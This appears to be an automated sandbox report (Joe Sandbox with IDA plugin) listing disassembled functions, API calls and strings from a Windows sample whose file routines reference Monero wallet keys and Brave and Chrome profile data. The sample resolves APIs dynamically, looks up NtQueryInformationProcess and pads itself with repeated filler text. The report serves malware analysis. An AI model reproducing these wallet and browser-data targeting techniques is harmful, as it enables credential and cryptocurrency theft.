GetProcAddress.KERNEL32(75900000,013E0810), ref: 006D99AD
GetProcAddress.KERNEL32(75900000,013D63A0), ref: 006D99C5
GetProcAddress.KERNEL32(75900000,013E0798), ref: 006D99DE
GetProcAddress.KERNEL32(75900000,013E07B0), ref: 006D99F6
GetProcAddress.KERNEL32(75900000,013D6320), ref: 006D9A0E
GetProcAddress.KERNEL32(75900000,013E07C8), ref: 006D9A27
GetProcAddress.KERNEL32(75900000,013E0870), ref: 006D9A3F
GetProcAddress.KERNEL32(75900000,013D6560), ref: 006D9A57
GetProcAddress.KERNEL32(75900000,013E08A0), ref: 006D9A70
GetProcAddress.KERNEL32(75900000,013D6440), ref: 006D9A88
LoadLibraryA.KERNEL32(013E08B8,?,006D6A00), ref: 006D9A9A
LoadLibraryA.KERNEL32(013E0888,?,006D6A00), ref: 006D9AAB
LoadLibraryA.KERNEL32(013E0858,?,006D6A00), ref: 006D9ABD
LoadLibraryA.KERNEL32(013E08D0,?,006D6A00), ref: 006D9ACF
LoadLibraryA.KERNEL32(013E08E8,?,006D6A00), ref: 006D9AE0
GetProcAddress.KERNEL32(75070000,013E0900), ref: 006D9B02
GetProcAddress.KERNEL32(75FD0000,013E0918), ref: 006D9B23
GetProcAddress.KERNEL32(75FD0000,013E8F70), ref: 006D9B3B
GetProcAddress.KERNEL32(75A50000,013E8F88), ref: 006D9B5D
GetProcAddress.KERNEL32(74E50000,013D64C0), ref: 006D9B7E
GetProcAddress.KERNEL32(76E80000,013E89E0), ref: 006D9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 006D9BB6

Strings

NtQueryInformationProcess, xrefs: 006D9BAA

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 03c072ee76f9fe1d155e44232fa669cb41ced42b9cc89b5473841c0be7615721
Instruction ID: 8562ab89f320bec45ec2fb79f57574a03eabee53bb1e434d54cc47c576cd80af
Opcode Fuzzy Hash: 03c072ee76f9fe1d155e44232fa669cb41ced42b9cc89b5473841c0be7615721
Instruction Fuzzy Hash: 7CA10AB5938340EFD744EFA8ED88A6637FAF74C301714C51AAA05C3264D6399841FBE6

Function 006C45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 006C460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 006C479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006C46D8

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: de1dbf8e0b40738f0f31d1efd2b593f1f6d74412d5b17c4254955b23b470dc0b
Instruction ID: 7a242bec79ba3964fc3ed22e5250964d311175d8dc4728c5d621f6bd16223035
Opcode Fuzzy Hash: de1dbf8e0b40738f0f31d1efd2b593f1f6d74412d5b17c4254955b23b470dc0b
Instruction Fuzzy Hash: EE4137297E37A4BBCE34B7A5985EE9D73575F42B88F539246BC0192280CBB075804F29

Function 006CBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

FindFirstFileA.KERNEL32(00000000,?,006E0B32,006E0B2B,00000000,?,?,?,006E13F4,006E0B2A), ref: 006CBEF5
StrCmpCA.SHLWAPI(?,006E13F8), ref: 006CBF4D
StrCmpCA.SHLWAPI(?,006E13FC), ref: 006CBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 006CC7BF
FindClose.KERNEL32(000000FF), ref: 006CC7D1

Strings

Brave, xrefs: 006CC102
\Brave\Preferences, xrefs: 006CC1DB
Preferences, xrefs: 006CC11E
Google Chrome, xrefs: 006CC634

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: bcd052808b5c97eacf64c397a71578a4ce087ea2992b4c2abbe8f3318bfd5277
Instruction ID: c8ac67caf66786075dd01a41be393309f336d2c292925de2a79fb70ff17130fb
Opcode Fuzzy Hash: bcd052808b5c97eacf64c397a71578a4ce087ea2992b4c2abbe8f3318bfd5277
Instruction Fuzzy Hash: 7C428572D141049BCB54FBB0DC96EED737EAF84300F40855DF90A96281EE349B49DBAA

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
QPC, xrefs: 6C6538FC
GTC, xrefs: 6C653912
GenuntelineI, xrefs: 6C653639
AuthcAMDenti, xrefs: 6C653946

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 006D4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 006D492C
FindFirstFileA.KERNEL32(?,?), ref: 006D4943
StrCmpCA.SHLWAPI(?,006E0FDC), ref: 006D4971
StrCmpCA.SHLWAPI(?,006E0FE0), ref: 006D4987
FindNextFileA.KERNEL32(000000FF,?), ref: 006D4B7D
FindClose.KERNEL32(000000FF), ref: 006D4B92

Strings

%s\*, xrefs: 006D4920
%s\%s, xrefs: 006D49FB
%s\%s, xrefs: 006D49A4

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 5336e91fabaf5e67e0aa3811f5626079054348473cdd6ce87281bbe52557b021
Instruction ID: bc2a86a39cbe8e1e2b6e9b1df5dd156aadb1f850efd0258174ecf1ced0af0003
Opcode Fuzzy Hash: 5336e91fabaf5e67e0aa3811f5626079054348473cdd6ce87281bbe52557b021
Instruction Fuzzy Hash: 656141B2914218AFCB20EBA1DC49FEA737DBB58700F04858DB60996141EE71EB85CFD1

Function 006D3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006D3EC3
FindFirstFileA.KERNEL32(?,?), ref: 006D3EDA
StrCmpCA.SHLWAPI(?,006E0FAC), ref: 006D3F08
StrCmpCA.SHLWAPI(?,006E0FB0), ref: 006D3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 006D406C
FindClose.KERNEL32(000000FF), ref: 006D4081

Strings

%s\%s, xrefs: 006D3EB7

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
